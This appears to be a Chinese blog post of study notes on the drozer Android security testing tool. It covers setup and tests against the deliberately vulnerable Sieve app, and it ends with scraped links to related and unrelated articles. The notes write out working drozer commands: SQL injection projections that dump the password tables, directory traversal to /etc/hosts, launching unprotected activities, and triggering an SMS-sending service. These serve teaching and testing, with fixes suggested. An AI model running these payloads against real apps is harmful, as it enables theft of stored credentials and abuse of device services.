下载,并安装。

pip安装即可,安装完成后可能会出现缺少twisted依赖库的问题

➜  vul git:(master) ✗ drozer console connect
drozer Server requires Twisted to run.
Run 'pip install twisted' to fetch this dependency.

安装twisted时,出现一片红,需要--user指定用户。

本地安装好drozer环境后,客户端也需要安装一个agent负责监听处理

下载链接:https://labs.mwrinfosecurity.com/tools/drozer/,最新版文件名为drozer-agent-2.3.4.apk

adb连接模拟器

➜  vul git:(master) ✗ adb connect 127.0.0.1:62001
\adb server version (32) doesn't match this client (39); killing...
* daemon started successfully
connected to 127.0.0.1:62001

推送安装drozer-agent-2.3.4.apk

➜  vul git:(master) ✗ adb install ~/Desktop/drozer-agent-2.3.4.apk
/Users/wq/Desktop/drozer-agent-2.3.4.apk: 1...e pushed. 6.5 MB/s (633111 bytes in 0.093s)
pkg: /data/local/tmp/drozer-agent-2.3.4.apk
Success

开启端口映射,使模拟器启动时开启一个端口连接本地drozer服务端

➜  vul git:(master) ✗ adb forward tcp:31415 tcp:31415

然后在模拟器上启动drozer,并开启监听模式

命令行启动drozer,开启连接

➜  vul git:(master) ✗ drozer console connect
:0: UserWarning: You do not have a working installation of the service_identity module: 'No module named service_identity'. Please install it from <https://pypi.python.org/pypi/service_identity> and make sure all of its dependencies are satisfied. Without the service_identity module, Twisted can perform only rudimentary TLS client hostname verification. Many valid certificate/hostname mappings may be rejected.
Selecting 9ACA331490420000 (OPPO OPPO A33m 4.4.2) .. ..:.
..o.. .r..
..a.. . ....... . ..nd
ro..idsnemesisand..pr
.otectorandroidsneme.
.,sisandprotectorandroids+.
..nemesisandprotectorandroidsn:.
.emesisandprotectorandroidsnemes..
..isandp,..,rotectorandro,..,idsnem.
.isisandp..rotectorandroid..snemisis.
,andprotectorandroidsnemisisandprotec.
.torandroidsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector. drozer Console (v2.4.3)
dz>

  准备工作完成。

1、内容供应器泄露

检测方法:反编译后,cat AndroidManifest.xml|grep -R 'content://'

修复方案:在创建内容供应器时指定参数android:exported = false

2、不安全的文件存储

检测方法:进入adb shell,执行find命令找出权限存在问题的文件

修复方案:权限控制,指定文件的正确文件权限,禁止全局可读,并且不能由任何其它应用程序不需任何权限访问

3、目录遍历或本地文件包含漏洞

检测方法:dz针对内容供应器 URI进行app.provider.read方法,拼接../../../../../etc/hosts或proc/cpu

修复方法:控制权限

4、客户端注入攻击

检测方法:

获取所有uri:run scanner.provider.injection -a 包名

dz>  run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.FileBackupProvider Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/ Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

进行注入:run app.provider.query [Content Provider URI] --projection "* FROM SQLITE_MASTER WHERE type='table';- -",或者直接 "* FROM Key;--" 获取某个表的数据。

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) |
| table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
| table | Key | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT ) |

Activity安全问题

查看exported的activity,除了MainLoginActivity是启动主界面,其他两个activity不能被exported

dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
Permission: null
com.mwr.example.sieve.MainLoginActivity
Permission: null
com.mwr.example.sieve.PWList
Permission: null

启动其中一个activity如PWList

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

可能存在问题:

1、拒绝服务

当permission=null时,意味着其他应用无须权限就可以调用这些activity。同时,如果activity的调用是需要参数的,那么在调用时不带上参数就会因为输入异常导致应用崩溃了,这样就造成了本地拒绝服务。

2、越权访问

绕过流程执行到敏感步骤或者敏感数据

Service安全问题

权限提升

dz> run app.service.start --action com.mwr.example.sieve.CryptoService.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

################################################

命令大全:

list或ls 查看可用模块 
run app.package.list  查看程序安装包  
run app.package.info -a com.example.myapp  查看程序包信息  
run app.package.attacksurface com.example.myapp  查看项目对外exported的组件 
run app.activity.info -a com.example.myapp  查看对外activity的信息  
run app.service.info -a com.example.myapp  查看对外service的信息  
run app.broadcast.info -a com.example.myapp  查看对外broadcast的信息  
run app.provider.info -a com.example.myapp  查看对外provider的信息
run app.activity.start --component com.example.myapp com.example.MainActivity 尝试启动MainActivity  
run scanner.provider.finduris -a com.example.myapp 探测出可以查询的URI  
run app.provider.query content://***/ -vertical  获取Uri的数据  
run app.provider.insert URI对应数据表中的字段    对数据库表进行插入操作
 
run app.provider.delete URI–-selection “条件” 对数据库表进行删除操作
  1.  
    Content Providers(SQL注入)
  2.  
    run app.provider.query content://***/ --projection "'"
  3.  
    run app.provider.query content://***/ --selection "'"
  1.  
    报错则说明存在SQL注入。
  2.  
    run app.provider.query content://***/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
  3.  
    获取某个表(如Key)中的数据:
  4.  
    run app.provider.query content://***/ --projection "* FROM Key;--"
  5.  
    同时检测SQL注入和目录遍历
  6.  
    run scanner.provider.injection -a com.example.myapp
  7.  
    run scanner.provider.traversal -a com.example.myapp
 参考链接:https://www.cnblogs.com/goodhacker/p/3906180.html

安卓渗透测试工具Drozer学习笔记的更多相关文章

  1. 安卓渗透测试工具——Drozer(安装和使用)

    移动端渗透测试工具相比丰富的web端真的是少之又少,最近在做app的安全测试,用到了drozer,drozer的安装过程真的是太心酸了,中间报错了有6次才成功安装.. 一.环境准备 首先准备以下环境: ...

  2. 2019-9-20:渗透测试,基础学习,笔记,metasploit的基础使用

    使用kali下metasploit生成木马,控制windows系统 kali基于debin的数字取证系统,上面集成了很多渗透测试工具,前身为bt r3(BrackTrack) Metasploit,是 ...

  3. 《metasploit渗透测试魔鬼训练营》学习笔记第四章—web应用渗透

    继续来学习metasploit...记好笔记是很重要的,下面开始正文: 二.WEB应用渗透技术     1.WEB应用渗透基础知识        先介绍WEB应用攻击的主要类型(大致介绍,具体请自行查 ...

  4. 《metasploit渗透测试魔鬼训练营》学习笔记第三章----情报搜集

    Kali渗透测试系统集成了metasploit开源的漏洞测试框架,是渗透测试必备的神器.下面是我在学习metasploit的笔记,有什么错误的地方请指出来,我会立即纠正的~ 一.情报搜集     1. ...

  5. Android App渗透测试工具drozer,Qark,Androguard

    一. drozer简介 drozer(以前称为Mercury)是一款Android安全测试框架. drozer允许您通过承担应用程序的角色并与Dalvik VM,其他应用程序的IPC端点和底层操作系统 ...

  6. 《metasploit渗透测试魔鬼训练营》学习笔记第九章--meterpreter

    七.强大的meterpreter  7.1再探metasploit的攻击载荷模块     7.1.1典型的攻击载荷模块     metasploit涵盖了各大主流操作系统和平台,其中绝大部分是远程漏洞 ...

  7. 《metasploit渗透测试魔鬼训练营》学习笔记第七章--社会工程学

    五.社工工程学     5.1社会工程系框架          5.1.1信息搜集                 maltego是一个高度自动化的信息搜集工具,集成在BT5中,如果国内网络环境使用时 ...

  8. 《metasploit渗透测试魔鬼训练营》学习笔记第六章--客户端渗透

    四.客户端攻击      客户端攻击与服务端攻击有个显著不同的标识,就是攻击者向用户主机发送的恶意数据不会直接导致用户系统中的服务进程溢出,而是需要结合一些社会工程学技巧,诱使客户端用户去访问这些恶意 ...

  9. 《metasploit渗透测试魔鬼训练营》学习笔记第五章--网络服务渗透攻击

    三.网络服务渗透攻击 3.1 内存攻防技术      3.1.1 缓冲区溢出漏洞机理              缓冲区溢出是程序由于缺乏对缓冲区的边界条件检查而引起的一种异常行为.           ...

随机推荐

  1. 获取单个checkbox选中项

    1.获取单个checkbox选中项(三种写法)$("input:checkbox:checked").val()或者$("input:[type='checkbox']: ...

  2. spring web.xml基本配置

    <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmln ...

  3. 快速清除SQL2008日志文件

    USE [master] --把数据库调整为简单模式 GO ALTER DATABASE krisvision SET RECOVERY SIMPLE WITH NO_WAIT GO ALTER DA ...

  4. Vue指令(二)--数组的变动

    1.数组更新数据,引起视图更新 数据驱动:数据发生变化,引起视图的变化 Vue在检测数组变化的时候,并不是直接重新渲染整个列表,而是最大化的复用Dom元素. 替换的数组中,含有相同元素的项是不会被重新 ...

  5. 2017年11月26日 C#流&&窗体对话框

    C#流 在顶端加入using System.IO就可以使用流 StreamReder a = new StreamReder();//读取 前面什么都可以 = sr.ReadToEnd();//用法 ...

  6. SPOJ:COT2 Count on a tree II

    题意 给定一个n个节点的树,每个节点表示一个整数,问u到v的路径上有多少个不同的整数. n=40000,m=100000 Sol 树上莫队模板题 # include <bits/stdc++.h ...

  7. 在 CentOS6 上安装 GraphicsMagick-1.3.30

    在 CentOS6 上安装 GraphicsMagick-1.3.30 1.简介: 1.1.在介绍 GraphicsMagick 前我们不得不先介绍下 ImageMagick: ImageMagick ...

  8. 浮动的补充丶文本和字体属性丶background丶定位

    一丶浮动的补充 浮动的特性: 1. 浮动的元素脱标 2.浮动的元素互相贴靠 3.浮动的元素有"字围"效果 4.浮动的元素有收缩的效果 前提是标准文档流,margin的垂直方向会出现 ...

  9. Python-网络编程(二)

    今天继续网络编程的东西 一.网络通讯原理 1.互联网的本质就是一系列的网络协议 我们是在浏览器上输入了一个网址,但是我们都知道,互联网连接的电脑互相通信的是电信号,我们的电脑是怎么将我们输入的网址变成 ...

  10. ERROR:Tried to register widget id ==basemapGalleryDiv but that id is already registered解决办法

    在ArcGIS Server开发中,遇到DIV已经被注册的情况,不能对原DIV内容进行更新.这里需要调用Dojo的destroyRecursive()方法,逐个销毁该Widget下的子元素及其后代元素 ...